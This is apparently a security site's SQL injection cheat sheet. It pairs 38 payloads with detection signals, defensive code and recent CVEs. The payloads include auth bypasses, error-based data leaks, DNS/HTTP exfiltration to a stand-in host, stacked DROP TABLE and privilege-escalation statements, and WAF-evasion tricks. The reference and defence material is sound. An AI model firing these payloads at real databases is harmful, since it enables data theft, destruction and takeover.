Vulnsy
All cheat sheets

SQL Injection Cheat Sheet

criticalOWASP Top 10 A03CWE-89CWE-564CWE-943

SQL injection is a flaw where attacker-controlled input is concatenated into a database query, letting it escape the value slot and run as code. Variants split into in-band (UNION, error), blind (boolean, time, error-based blind) and out-of-band (DNS/HTTP exfil) channels, with second-order, stacked, NoSQL, ORM and JSON-SQLi sub-classes that each bypass different controls.

The single defense that actually works is parameterised queries — they pre-compile the statement so the parser sees code and data as separate inputs. Allow-list validation handles non-parameterisable positions like ORDER BY columns, and least privilege at the DB layer caps blast radius when the first layer fails.

38 payloads across 7 technique families

In-band SQL injection

The vulnerable query channel returns the data directly to the attacker via UNION-appended rows or coerced database error messages.

Detection signals
  • Engine error strings such as 'ORA-', 'PostgreSQL ERROR:', 'Microsoft SQL Native Client', 'You have an error in your SQL syntax', 'SQLSTATE'
  • Reflected version banner, current_user, or schema names appearing in 5xx response bodies
  • Sudden 500 spikes correlated with single-quote / UNION / -- markers in input

Auth-bypass comment terminator

Generic / MySQL
admin'--

Closes the username literal and uses the SQL line comment to drop the trailing password check, so the WHERE clause matches on username alone. On MySQL the dash-dash needs a trailing space or a # comment.

Always-true tautology

Generic
' OR 1=1--

Closes the literal string and injects a predicate that is always true, widening the WHERE clause to every row, then comments out the rest of the original query so it still parses.

UNION column-count probe

Generic
' ORDER BY 1-- ' ORDER BY 2-- ...

Increments the ORDER BY ordinal until the response errors or changes, revealing the column count of the original SELECT — a precondition for a working UNION SELECT.

Type-aligned UNION extraction

MySQL / MSSQL
' UNION SELECT NULL, @@version, NULL--

Pads the appended row with NULLs to match the original column types, then swaps one NULL for a string-typed value. The first printable column reveals which slot can carry exfiltrated data.

PostgreSQL CAST error leak

PostgreSQL
' AND 1=CAST((SELECT current_user) AS int)--

Postgres cannot cast a non-numeric string to int and includes the offending value in the error text, leaking the subquery result via the error channel even when no UNION column is printable.

MySQL EXTRACTVALUE error leak

MySQL
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--

Feeds an invalid XPath expression containing the subquery result; MySQL surfaces the offending input verbatim in the error message, leaking the version string without needing a UNION.

MSSQL CONVERT error leak

MSSQL
' AND 1=CONVERT(int,(SELECT @@version))--

Forces MSSQL to convert the version string to int; the engine raises a 'Conversion failed' error that includes the original string, leaking it through the error channel.

Oracle DRITHSX error leak

Oracle
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE rownum=1))--

Calls Oracle's DRITHSX.SN function with a non-text first argument so the error reflects the second-argument subquery, leaking version banner data without UNION support.

Boolean-based blind

No data is returned in the response, but TRUE and FALSE branches produce different response bodies, lengths, status codes or render tokens.

Detection signals
  • Body-length, status code, or redirect-target diff between the TRUE and FALSE branches of the same payload pair
  • Stable-feature diff (presence/absence of a unique render token) across paired requests

Single-character SUBSTRING probe

MySQL / MSSQL
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--

Tests one character of a target string at a time; if the predicate is true the page renders the original content, if false it differs. Iterating with binary search via < / > halves request count.

No-equals LIKE comparison

Generic
' OR username LIKE 'admin'--

Uses LIKE in place of = so payloads land even when the application or WAF strips the equals sign; semantics are identical for non-wildcard literals.

IN-list comparison

Generic
' OR username IN ('admin')--

Replaces the equality check with set membership; lets the predicate survive WAFs that allow-list operators by removing = from the input.

BETWEEN range comparison

Generic
' OR username BETWEEN 'admin' AND 'admin'--

Encodes equality as a degenerate range; still WAF-bypass useful when both = and IN are blocked. The two-bound form keeps semantics identical to a strict equality check.

Boolean via case-insensitive LIKE

MySQL
' AND 'a' RLIKE 'a'--

Uses RLIKE / regex match as a boolean true generator; useful when string literals trigger heuristic blocks but regex operators slip through.

Time-based blind

No content delta exists, so the attacker conditionally calls a sleep primitive and measures response RTT to leak data one bit at a time.

Detection signals
  • Median request RTT exceeds baseline by the chosen sleep duration over 3+ trials
  • Per-statement timeout warnings or canceled-statement errors in DB telemetry

MySQL conditional SLEEP

MySQL
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--

IF() returns a 5-second delay only when the predicate is true; the RTT difference becomes the side channel. Median three trials to filter network jitter.

PostgreSQL CASE pg_sleep

PostgreSQL
'; SELECT CASE WHEN (SUBSTRING(current_database(),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END--

CASE evaluates one of two pg_sleep calls; the timing of the response leaks the boolean result. Stacked-query terminator is required because Postgres allows multiple statements.

MSSQL WAITFOR DELAY

MSSQL
'; IF (SUBSTRING(DB_NAME(),1,1)='a') WAITFOR DELAY '0:0:5'--

MSSQL only delays when the IF predicate is true; the engine's WAITFOR primitive is the canonical timing oracle for time-based blind on SQL Server.

Oracle dbms_pipe receive_message

Oracle
' AND 1=(CASE WHEN (SUBSTR(user,1,1)='S') THEN dbms_pipe.receive_message(('a'),5) ELSE 1 END)--

dbms_pipe.receive_message blocks for the requested seconds when the named pipe is empty, giving Oracle a time-based oracle without a true sleep function.

PostgreSQL sleep-free CPU burn

PostgreSQL
'; SELECT CASE WHEN (1=1) THEN (SELECT count(*) FROM generate_series(1,10000000)) ELSE 1 END--

When pg_sleep is revoked, generate_series with a large bound burns CPU long enough to be observable as a timing delta — useful against hardened roles.

Out-of-band (OAST)

Exfiltrates data through DNS, HTTP or SMB callbacks when the response gives no observable in-band or timing signal — Burp Collaborator / Interactsh tier.

Detection signals
  • Burp Collaborator / Interactsh hits on payload-encoded subdomains (DNS A or HTTP request)
  • Outbound DNS / SMB from DB hosts to non-corporate domains in egress logs

MySQL UNC LOAD_FILE DNS

MySQL (Windows)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT user()),'.x.oast.example\\a'))--

On Windows MySQL with file privilege, LOAD_FILE on a UNC path triggers a DNS lookup whose hostname carries the exfiltrated value; the Collaborator host records the encoded data.

PostgreSQL COPY TO PROGRAM

PostgreSQL
COPY (SELECT '') TO PROGRAM 'nslookup `whoami`.x.oast.example';

Postgres COPY ... TO PROGRAM shells out to nslookup, embedding the result of `whoami` (or any subquery) in the DNS request. Requires the role to hold the pg_execute_server_program grant.

MSSQL xp_dirtree UNC

MSSQL
'; EXEC master..xp_dirtree '\\\\x.oast.example\\a'--

xp_dirtree resolves a UNC path before listing it, generating SMB and DNS lookups that an attacker-controlled responder logs — the canonical MSSQL OAST primitive when xp_cmdshell is disabled.

Oracle UTL_HTTP request

Oracle
' UNION SELECT UTL_HTTP.request('http://'||(SELECT user FROM dual)||'.x.oast.example/') FROM dual--

UTL_HTTP makes an outbound HTTP call whose hostname carries the subquery result; works in Oracle versions where the package ACL still permits external resolution.

Oracle XXE-via-SQL

Oracle
SELECT EXTRACTVALUE(xmltype('<!DOCTYPE r [<!ENTITY % p SYSTEM "http://'||(SELECT user FROM dual)||'.x.oast.example/">%p;]>'),'/l') FROM dual;

Builds an XML doc with an external entity whose system identifier carries the leaked value; Oracle resolves the entity over HTTP, exfiltrating data even when UTL_HTTP is restricted.

Second-order, stacked and routed

Payload is stored or delivered cleanly through one path, then executed unsafely on a later code path — or stacked into a separate statement entirely.

Detection signals
  • Repeated 500s with stacked-query terminators (semicolon followed by DDL keywords)
  • Audit-log entries for grants, role changes, or DDL from application-tier logins

Stacked-query terminator

MySQL / PostgreSQL / MSSQL
'; DROP TABLE audit_log--

The semicolon terminates the original statement and starts a new one in the same call; works with mysqli_multi_query, Postgres and MSSQL drivers, but Oracle does not support stacked statements.

Second-order stored payload

Generic
robert'); DROP TABLE students;--

Stored verbatim by the input page (often as a username) then concatenated into a query on a later admin/report path — the canonical Bobby-Tables shape. The first-write path can look benign while the second-read path is exploitable.

Routed injection chain

MySQL
' UNION SELECT '<inner_payload>' INTO @x; PREPARE s FROM @x; EXECUTE s--

Injection point feeds another query that becomes the actually-executing statement; the primary input controls a value used to build a downstream query. Useful when the first sink only echoes status, not data.

MSSQL stacked privesc

MSSQL
'; EXEC sp_addsrvrolemember 'app_user','sysadmin'--

Once a stacked statement lands, escalates the application's database role to sysadmin if the current login holds the necessary grants — common on misconfigured legacy estates.

Postgres stacked role grant

PostgreSQL
'; ALTER USER app_user WITH SUPERUSER--

Stacked ALTER USER promotes the application role to SUPERUSER when the connection is already a privileged role; demonstrates why least-privilege at the DB layer is non-negotiable.

NoSQL, ORM and JSON-SQLi

Operator injection in document stores, raw-fragment APIs in ORMs, and JSON-operator payloads that double as WAF-bypass primitives.

Detection signals
  • Operator-shaped JSON values ($ne, $gt, $where) reaching MongoDB drivers from public endpoints
  • WAF passthrough of JSON-SQL operator payloads (->, ->>, ::jsonb, JSON_EXTRACT)

MongoDB operator auth bypass

MongoDB
{"username":"admin","password":{"$ne":null}}

Replaces the password value with a $ne operator that matches any non-null stored hash; the application logic treats a found document as a valid login. Classic NoSQL operator injection.

Mongo $where JS-eval injection

MongoDB
'; return true; //

Inside a $where clause Mongo evaluates the string as JavaScript; closing the literal and returning true makes every document match. sleep() inside $where also gives a time-based oracle.

ORM raw-fragment escape

ORM (HQL / ActiveRecord / SQLAlchemy)
col = #{user_input}

Hibernate HQL, ActiveRecord raw .where, SQLAlchemy text(), Sequelize.literal and knex.raw all interpolate strings without parameterising. WSTG-INPV-05.7 lists every ORM's back-door API.

PostgreSQL JSON operator WAF bypass

PostgreSQL
'/**/OR/**/'{"a":1}'::jsonb @> '{"a":1}'::jsonb--

Team82's primitive: rewrites OR 1=1 using JSON containment so legacy WAF signatures looking for arithmetic equality miss it entirely. Still landed against unpatched stacks in 2025.

MySQL JSON_EXTRACT WAF bypass

MySQL
'/**/OR/**/JSON_EXTRACT('{"a":1}','$.a')=1--

Same Team82 family on MySQL: JSON_EXTRACT returns a numeric 1, satisfying the equality without any classic 1=1 / OR-true literal that signature-based WAFs fingerprint.

WAF evasion and obfuscation

Whitespace, comment, encoding and operator tricks that keep the SQL semantically valid while sliding past signature-based filters.

Detection signals
  • Inline /**/ comments, %0A whitespace and parenthesised keyword runs in input strings
  • WAF logs showing anomaly score below threshold for requests that still reached the database

Inline-comment whitespace

MySQL / PostgreSQL
SELECT/**/password/**/FROM/**/users

Substitutes empty C-style comments for literal spaces; MySQL and Postgres tokenisers ignore them, while regex-based WAFs that anchor on \s+ between keywords miss the match.

Parenthesis no-space

MySQL / PostgreSQL / MSSQL
SELECT(password)FROM(users)

Removes whitespace by relying on parentheses as token boundaries; valid SQL on most engines and rarely fingerprinted because most WAF rules assume keywords are space-separated.

URL-encoded newline whitespace

Generic
SELECT%0apassword%0aFROM%0ausers

Encodes whitespace as %0A; many WAFs decode once but normalise differently from the database driver, so the bypass survives one decode pass while still parsing correctly server-side.

Quotation-mark mutation

Generic
%27%20OR%201%3d1--

URL-encodes the single quote, the space and the equals; covered by the 2025 academic mutation strategies that extend the standard 13 obfuscations and beat naive signature WAFs.

libpq encoding-confusion (CVE-2025-1094)

PostgreSQL libpq
\xa1' OR 1=1--

Under BIG5 client + EUC_TW server encodings, PQescapeLiteral and PQescapeString fail to neutralise the quote; psql callers that built command-lines from these were exploitable. Patched in libpq 17.3 / 16.7 / 15.11 / 14.16 / 13.19.

Modern bypasses (2023–2026)

JSON-syntax SQLi WAF bypass (Team82)

Team82's 2022 disclosure that PAN, AWS, Cloudflare, F5 and Imperva WAFs missed JSON-operator SQL like "'{\"a\":1}'::jsonb @> '{\"a\":1}'::jsonb"; signatures shipped from 2023 but legacy fleets and self-hosted ModSecurity rulesets still miss it.

'/**/OR/**/'{"a":1}'::jsonb @> '{"a":1}'::jsonb--

WAFBooster / BWAFSQLi adversarial mutation corpora

Two 2025 academic mutation engines (arXiv 2501.14008 and ACM TOSEM 3788286) generated payload corpora that drove +93% false-negative gains against unhardened WAFs and conversely +96% true-reject gains once used to retrain. Use the open corpora to gap-test your own WAF before an attacker does.

libpq encoding-confusion (CVE-2025-1094)

PQescapeLiteral / PQescapeIdentifier / PQescapeString[Conn] failed to neutralise quoting under BIG5 client encoding combined with EUC_TW or MULE_INTERNAL server encodings. Any psql shellout that built a command line through these helpers became injectable. Patched in 17.3 / 16.7 / 15.11 / 14.16 / 13.19.

psql -c "SELECT '\xa1' OR 1=1--'"

pg_sleep-free PostgreSQL timing oracles

When pg_sleep is revoked, generate_series(1,10000000) (CPU), repeat('a',1<<27) (memory pressure) and a recursive CTE counting to 5e7 all produce observable timing deltas without needing the sleep grant — useful against hardened roles.

'; SELECT count(*) FROM (WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT n+1 FROM t) SELECT n FROM t LIMIT 50000000) s--

AI-gateway pre-auth SQLi (LiteLLM)

CVE-2026-42208 in LiteLLM was exploited within ~26 hours of the GitHub advisory, demonstrating that LLM-adjacent infra is a first-class SQLi target. The same weak-input-handling assumptions that produce classic web-app SQLi reappear at the inference proxy boundary.

Sync-gateway / replication-API SQLi

ElectricSQL CVE-2026-40906 was an error-based SQLi in the /v1/shape endpoint of a Postgres sync engine — under-tested replication APIs are a fresh injection surface. Treat every gateway that compiles user-supplied filters into SQL as in-scope for parametrisation review.

Defences

Parameterised queries / prepared statements

The DB plan-caches the statement before parameters bind; user input cannot escape the value slot because the parser has already separated code from data. Parameter binding is per value — table and column names cannot be parameterised, so combine with allow-listing for those positions.

// Safe: driver sends statement and values separately — no string concat
import { sql } from 'drizzle-orm';
import { db } from '@/lib/db';
import { users } from '@/lib/db/schema';

export async function findUser(email: string) {
  return db
    .select()
    .from(users)
    .where(sql`${users.email} = ${email}`);
}

// Or the raw pg client equivalent:
// await client.query('SELECT * FROM users WHERE email = $1', [email]);

Allow-list validation for non-parameterisable positions

Sort columns, ORDER BY direction, table names and dynamic schema selectors cannot be parameterised. Map the user value through a fixed dictionary so the only values that can reach the query are values you wrote.

const SORTABLE = {
  created: 'created_at',
  email: 'email',
  status: 'status',
} as const;

function safeOrderBy(input: string): string {
  const col = SORTABLE[input as keyof typeof SORTABLE];
  if (!col) throw new Error('invalid sort column');
  return col;
}

Stored procedures only when themselves parameterised

A stored procedure is only safe if every internal SQL it builds is parameterised. EXEC @sql, sp_executesql with concat, EXECUTE IMMEDIATE — all of these re-introduce injection at exactly the boundary you tried to harden. Audit every proc body, don't rely on the wrapper alone.

Type narrowing before query construction

Cast suspect input to the strictest non-string type (int, bool, date, UUID) before it touches any query path. A value that passes a UUID validator cannot also carry a SQL fragment.

import { z } from 'zod';

const Params = z.object({
  userId: z.string().uuid(),
  page: z.coerce.number().int().min(0).max(10000),
});

export function parseQuery(input: unknown) {
  return Params.parse(input);
}

Least privilege at the DB layer

Application roles should not own schemas, cannot read pg_shadow / mysql.user, cannot COPY ... TO PROGRAM, cannot xp_cmdshell or xp_dirtree, and have LOAD_FILE / INTO OUTFILE disabled. When the first defense fails, this caps blast radius from 'full DB takeover' to 'whatever the role could already do'.

Lint and review ORM raw-fragment APIs

ORMs are not magic. raw(), extra(), text(), HQL fragment APIs, Sequelize.literal, knex.raw and EntityManager.createNativeQuery are all back-doors that take strings and run them. Add a lint rule or a code-review checklist to gate every callsite.

Defense-in-depth that is not a substitute for #1

Per-statement timeouts neutralise blind-time exfil; PgBouncer / proxy with query_wait_timeout caps long-running probes; WAF acts as alarm rather than wall; query-shape anomaly detection (pg_stat_statements outliers with OR 1=1 shapes) surfaces bypassed payloads. None of these replace parameterisation — they limit damage when it fails.

Encrypt sensitive columns at rest

When a UNION-based dump succeeds against a hardened-but-still-vulnerable app, column-level encryption ensures the attacker leaves with ciphertext. Combine with a KMS-managed key that the application role cannot read directly.

Real-world CVEs

CVEYearTitleDescription
CVE-2026-422082026LiteLLM AI-gateway pre-auth SQL injectionPre-authentication SQL injection in the LiteLLM AI gateway. CVSS 9.3. In-the-wild exploitation observed roughly 26 hours after the GitHub advisory was published, illustrating that LLM-adjacent infrastructure is now a first-class SQLi target.
CVE-2026-420872026OpenC3 COSMOS Time-Series DB SQL injectionCritical SQL injection in the OpenC3 COSMOS Time-Series Database component. CVSS 9.6, published 2026-05-04 — affects telemetry and command-and-control deployments that use COSMOS as their TSDB front-end.
CVE-2026-409062026ElectricSQL /v1/shape error-based SQLiError-based SQL injection in ElectricSQL's /v1/shape endpoint against the underlying Postgres. CVSS 9.9, published 2026-04-21. An authenticated user could read, write or destroy the database; demonstrates that sync-gateway and replication APIs are an under-tested injection surface.
CVE-2026-276812026SAP product-family critical SQL injectionCritical SQL injection in the SAP product family covered by the 2026 CCB advisory. Affects core ERP integrations and reinforces that enterprise SaaS suites continue to ship classic-shape SQLi in 2026.
CVE-2026-74892026Sunnet CTMS SQL injectionSQL injection in Sunnet CTMS, CVSS 8.8, published 2026-05-02. Illustrates the long tail of regional CMS / ticketing platforms still missing parameterisation.
CVE-2025-10942025PostgreSQL libpq quoting bug under non-ASCII encodingsPQescapeLiteral / PQescapeIdentifier / PQescapeString[Conn] failed to neutralise quoting under BIG5 client + EUC_TW / MULE_INTERNAL server encodings. psql callers that built command-lines from these helpers became injectable. Patched February 2025 in libpq 17.3 / 16.7 / 15.11 / 14.16 / 13.19.
FG-IR-25-1512025Fortinet GUI unauthenticated SQL injection2025 Fortinet PSIRT advisory covering an unauthenticated SQL injection in the management GUI. Reinforces that perimeter security devices remain a high-value SQLi target.

Further reading